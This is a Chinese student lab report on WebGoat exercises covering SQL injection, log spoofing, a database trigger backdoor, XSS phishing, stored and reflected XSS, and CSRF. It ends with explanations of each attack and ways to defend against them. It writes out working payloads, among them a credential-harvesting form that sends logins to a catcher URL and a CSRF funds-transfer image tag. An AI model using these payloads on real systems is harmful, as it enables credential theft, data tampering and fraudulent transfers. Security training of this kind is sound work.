Exp9:Web安全基础

一、实验内容

  一)、SQL注入攻击

    1、数字型SQL注入(Numeric SQL Injection)

    2、日志欺骗(Log Spoofing)

    3、字符串型注入(String SQL Injection)

    4、数据库后门(Database Backdoors)

  二)、XSS攻击

    1、XSS钓鱼攻击(Phishing With XSS)

    2、存储型XSS攻击(Stored XSS Attacks)

    3、反射型XSS攻击(Reflected XSS Attacks)

  三)、CSRF攻击

    1、跨站请求伪造(Cross Site Request Forgery)

二、实验过程记录

  安装WebGoat

    1、下载webgoat-container-7.0.1-war-exec.jar

    2、在该文件内打开命令窗口,开启Webgoat: java -jar webgoat-container-7.0.1-war-exec.jar 

    

    3、 打开浏览器输入 localhost:8080/WebGoat 

    4、使用root账户登录,如果左侧未出现课程选项,还需安装对应的 JDK,参考这篇简书

    

 

  一)SQL注入攻击

    数字型注入(Numeric SQL Injection)

      原理:查询不同城市的天气情况用的一句SQl语句来查询:SELECT * FROM weather_data WHERE station = ?选择不同城市就会查看对应城市的天气情况,我们通过修改网页代码的option里的value的值,使这里为永真式,就能查看到其他城市的天气情况。

      操作:

      1、选择到数字型注入的课程

      

      2、右键下拉选项框,选择inspter查看源代码

      3、找到select代码,点击前面三角符号展开下面的代码

      4、在第一行的option控件里的value值101后面添加一句代码 or 1=1 

      

      5、修改完成后我们查看哥伦比亚的天气,点击go会发现其他城市的天气也显示出来了

      

    日志欺骗(Log Spoofing)

      1、user name框输入 20175127%0d%0aLogin Succeeded for username: admin %0d表示空格,%0a表示换行

      2、密码随意,点击登录,提示信息说明登陆成功

      

    字符串型注入(String SQL Injection)

      原理:这里同样是构造SQL语句 SELECT * FROM user_data WHERE last_name = 'Your name' ,将查询语句变为 SELECT * FROM user_data WHERE last_name = ''or 1 = 1 ,如此,查询条件为永真

      操作:

      1、输入框输入内容 20175127‘ or 1=1 -- ,--是注释符

      2、点击go,会发现查询到所有的信息

      

    数据库后门(Database Backdoors)

      1、输入框输入 101; update employee set salary=5127 会看见表中工资都变为5127

      

      2、这里还能继续输入 101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid; 只要添加了新员工,就把他邮箱设置成john@hackme.com

      

  二)、XSS攻击

    XSS钓鱼攻击(Phishing With XSS)

      原理:在搜索框中输入XSS攻击代码,利用XSS可以在已存在的页面中进一步添加元素的特点。我们先创建一个form,让受害人在我们创建的form中填写用户名和密码,再添加一段JS代码,读取受害人输入的用户名和密码,并且将这些信息发送给http://localhost:8080/WebGoat/catcher?PROPERTY=yes

      操作:

      1、在搜索框输入代码

</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>

      2、随意登录一个账号

  

    存储型XSS攻击(Stored XSS Attacks)

      原理:这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。

      操作:

      1、title任意输入,留言板输入内容 <script>alert("You've been attacked by 20175127dxy hahahaha!!!");</script> 提交

      2、点击我们的留言信息,会弹出内容

      

    反射型XSS攻击(Reflected XSS Attacks)

      原理:在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。

      操作:

      1、第二个输入框输入内容 <script>alert("I'm sorry! You've been attacked by 20175127!!!");</script> 点击purse 

  三)、CSRF攻击

    跨站请求伪造(Cross Site Request Forgery)

      原理:向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。URL应该指向“攻击”servlet,其中包含“屏幕”和“菜单”参数,以及一个额外的参数“transferFunds”,其数值为5000。可以通过在右侧插入的参数中找到“Screen”和“menu”值来构造链接。当经过身份验证的CSRF电子邮件的收件人将被转移他们的资金。

      操作:

      1、title任意,message框输入内容: <img src="http://localhost:8080/WebGoat/attack?Screen=&menu=900&transferFunds=104"/> 点击提交

      2、点击我们的消息,就会显示图片,并执行转账操作

   

    

三、基础问题回答

  1、SQL注入攻击原理,如何防御

    答:

    原理:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

    防御:1、字符串长度验证

       2、对单引号和双"-"、下划线、百分号等sql注释符号进行转义

       3、对接收的参数进行类型格式化

       4、永远不要使用管理员权限的数据库连接(sa、root、admin),为每个应用使用单独的专用的低特权账户进行有限的数据库连接。

  2、XSS攻击的原理,如何防御

    答:

    原理:通过HTML注入篡改网页,插入恶意脚本,从而在用户浏览网页时,控制用户浏览器

    防御:1、在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。

       2、对用户输入的html 标签及标签属性做白名单过滤,也可以对一些存在漏洞的标签和属性进行专门过滤。

  3、CSRF攻击原理,如何防御

    答:

    原理:1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;

       2.在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;

       3. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;

          4. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;       

            5. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。

    防御:1、通过 referer、token 或者 验证码 来检测用户提交。

       2、尽量不要在页面的链接中暴露用户隐私信息。

       3、对于用户修改删除等操作最好都使用post 操作 。

       4、避免全站通用的cookie,严格设置cookie的域。

四、实验感想

   本次实验使用WebGoat教学软件学习了各种web网页攻击方法,虽然我只做了八种,但是非常有意思,教学性质很强,使我充分体验到各种攻击的可怕之处,同时也学到很多,还有很多内容我都没尝试,空余时间我还要去学习学习其他的攻击方法。

 posted on 2020-05-30 11:00  sunsay  阅读(95)  评论(0编辑  收藏  举报